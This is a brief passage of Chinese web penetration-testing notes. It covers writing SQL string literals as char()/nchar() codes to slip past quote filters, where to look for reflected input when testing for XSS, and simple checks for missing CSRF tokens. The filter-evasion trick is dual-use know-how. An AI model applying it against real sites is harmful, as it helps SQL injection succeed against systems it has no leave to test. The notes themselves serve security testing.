简单的如where xtype=’U’，字符U对应的ASCII码是85，所以可以用where xtype=char(85)代替；如果字符是中文的，比如where name=’用户’，可以用where name=nchar(29992)+nchar(25143)代替。
跨站脚本攻击（XSS）
对于 XSS，只需检查 HTML 输出并看看您输入的内容在什么地方。它在一个 HREF 标记中吗？是否在 IFRAME 标记中？它在 CLSID 标记中吗？在 IMG SRC 中吗？某些 Flash 内容的 PARAM NAME 是怎样的？

跨站请求伪造（CSRF）
同个浏览器打开两个页面，一个页面权限失效后，另一个页面是否可操作成功。
当页面没有CHECKCODE时，查看页面源代码，查是是否有token。如果页面完全是展示页面，是不会有token的。
